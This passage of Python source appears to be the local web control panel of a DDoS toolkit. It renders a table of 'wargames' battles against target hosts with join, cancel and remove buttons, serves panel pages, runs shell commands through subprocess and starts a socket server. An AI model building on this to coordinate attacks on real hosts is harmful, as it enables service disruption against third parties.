  3866. hours, rem = divmod(wargames_eta, 3600)
  3867. minutes, seconds = divmod(rem, 60)
  3868. if "!!!" in wargames_target_joined:
  3869. status = "JOINED!"
  3870. wargames_status = "<font color='cyan'>"+status+"</font>"
  3871. if wargames_join_flag == True:
  3872. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  3873. else:
  3874. wargames_join = "KEY?" # present but with a different crypto-key
  3875. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  3876. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  3877. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  3878. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  3879. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  3880. else:
  3881. status = "-ONGOING-"
  3882. wargames_status = "<font color='orange'>"+status+"</font>"
  3883. if wargames_join_flag == True:
  3884. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  3885. else:
  3886. wargames_join = "KEY?" # present but with a different crypto-key
  3887. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  3888. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  3889. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  3890. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  3891. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  3892. else:
  3893. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  3894. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  3895. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  3896. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  3897. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  3898. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  3899. status = "-CLOSED-"
  3900. wargames_status = "<font color='red'>"+status+"</font>"
  3901. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  3902. wargames_id = wargames_id + 1
  3903. wargames_table += "</table><br>"
  3904. f.write(wargames_table)
  3905. f.write(end_mark)
  3906. f.close()
  3907. if page == "/cmd_decrypt_wargames_update":
  3908. if not os.path.exists('/tmp/out'):
  3909. open('/tmp/out', 'w').close()
  3910. with open('/tmp/out', 'r') as f:
  3911. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  3912. if page == "/blackholes":
  3913. self.pages["/blackholes"] = self.html_blackholes()
  3914. if page == "/requests":
  3915. if pGet=={}:
  3916. self.pages["/requests"] = self.html_requests()
  3917. else:
  3918. self.save_cfg(pGet)
  3919. self.pages["/requests"] = self.html_request_submit()
  3920. if page == "/abduction":
  3921. self.pages["/abduction"] = self.html_abduction()
  3922. if page == "/stats":
  3923. self.pages["/stats"] = self.html_stats()
  3924. if page == "/wormhole":
  3925. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  3926. ctype = "text/html"
  3927. if page.find(".js") != -1:
  3928. ctype = "application/javascript"
  3929. elif page.find(".txt") != -1:
  3930. ctype = "text/plain"
  3931. elif page.find(".ico") != -1:
  3932. ctype = "image/x-icon"
  3933. elif page.find(".png") != -1:
  3934. ctype = "image/png"
  3935. elif page.find(".css") != -1:
  3936. ctype = "text/css"
  3937. if page in self.pages:
  3938. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  3939. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  3940. class Command(object):
  3941. def __init__(self, cmd):
  3942. self.cmd = cmd
  3943. self.process = None
  3944. def run(self, timeout):
  3945. def target():
  3946. self.process = subprocess.Popen(self.cmd, shell=True)
  3947. thread = threading.Thread(target=target)
  3948. thread.start()
  3949. thread.join(timeout)
  3950. if thread.is_alive():
  3951. self.process.terminate()
  3952. thread.join()
  3953. if __name__ == "__main__":
  3954. webbrowser.open('http://127.0.0.1:9999', new=1)
  3955. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3956. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  3957. tcpsock.bind((host, port))
  3958. while True:
  3959. tcpsock.listen(4)
  3960. (clientsock, (ip, c_port)) = tcpsock.accept()
  3961. newthread = ClientThread(ip, c_port, clientsock)
  3962. newthread.start()